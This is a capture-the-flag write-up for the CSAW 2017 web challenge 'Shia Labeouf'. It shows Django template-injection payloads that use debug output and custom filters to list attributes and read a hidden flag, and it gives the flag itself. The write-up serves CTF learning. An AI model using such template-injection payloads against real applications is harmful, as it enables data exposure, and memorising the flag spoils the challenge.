CSAWCTF_2017: Shia Labeouf

Category: Web Points: 150 Description:

Do it Just do it Don't let your dreams be dreams Yesterday you said tomorrow So just do it Make your dreams come true Just do it Pick 1: http://web.chal.csaw.io:5487 http://web.chal.csaw.io:5488 http://web.chal.csaw.io:5489 http://web.chal.csaw.io:5490

Write-up

This challenge was quite tricky, testing upon the tenancity and patience of challengers. The first step to solving this would be to understand Django's templating language. The second step was to discover the additional filters on ad-lib, by invoking a stacktrace by visiting a wrong URL, like http://web.chal.csaw.io:5487/polls/3/. This gives us an idea of what we have at our disposal.

@register.filter(name='getme')
def getme(value, arg):
  return getattr(value, arg)
@register.filter(name='checknum')
def checknum(value):
  check(value) ...
@register.filter(name='listme')
def listme(value):
  return dir(value)
def check(value):

So now we have a bunch of functions we can use to display values, let's try and see what we are given. Entering {% debug %} on ad-lib/ gives us a debug page, with a suspicious variable mrpoopy. Let's try using the functions we received earlier to debug it.

{% raw %}
{{ mrpoopy | listme }}
['Woohoo', '__doc__', '__flag__', '__module__']
{% endraw %}

This gives us a variable __flag__? Let's try printing that out!

{{ mrpoopy | getme:"__flag__" }}
flag{wow_much_t3mplate}

Therefore, the flag is flag{wow_much_t3mplate}.

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